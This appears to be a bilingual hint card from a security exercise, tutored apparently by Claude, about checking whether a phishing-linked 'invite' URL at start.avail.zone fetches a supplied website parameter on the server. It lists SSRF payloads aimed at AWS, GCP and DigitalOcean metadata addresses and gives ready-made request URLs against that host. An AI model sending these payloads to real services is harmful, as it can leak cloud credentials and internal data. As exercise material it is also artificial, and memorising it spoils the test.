A phishing/spam email promotes a 'free partnership tool' at start.avail.zone. The invite URL passes a domain through a query parameter — what does the server actually do with it? Investigate the request flow and find an abuse path that could turn this 'invite' into something nastier.
Objetivo: Determine whether the server itself fetches the supplied URL, enabling SSRF against internal or cloud metadata services.
Contexto: If the backend fetches the `website` value server-side (e.g. to scrape the target site, take a screenshot, or verify it exists), the vulnerability escalates from Open Redirect to SSRF.
Revela solo las que necesites. Claude lleva la cuenta de cuántas usaste para calibrar la retroalimentación.
Set up an out-of-band listener (Burp Collaborator, interactsh, or a simple netcat/HTTP server on a VPS). Supply its address in the `website` parameter and check for inbound connections that originate from the avail.zone server — not your browser.
SSRF payloads to try:
- Your Collaborator URL (confirms server-side fetch)
- http://169.254.169.254/latest/meta-data/ (AWS IMDSv1)
- http://metadata.google.internal/ (GCP)
- http://169.254.169.254/metadata/v1/ (DigitalOcean)
Use:
https://start.avail.zone/build-connections?website=http://169.254.169.254/latest/meta-data/
or
https://start.avail.zone/build-connections?website=https://YOUR-ID.oastify.com
If Collaborator logs an HTTP request from an IP belonging to avail.zone's infrastructure, SSRF is confirmed. If the page reflects content from the internal URL, it's a blind→semi-blind SSRF.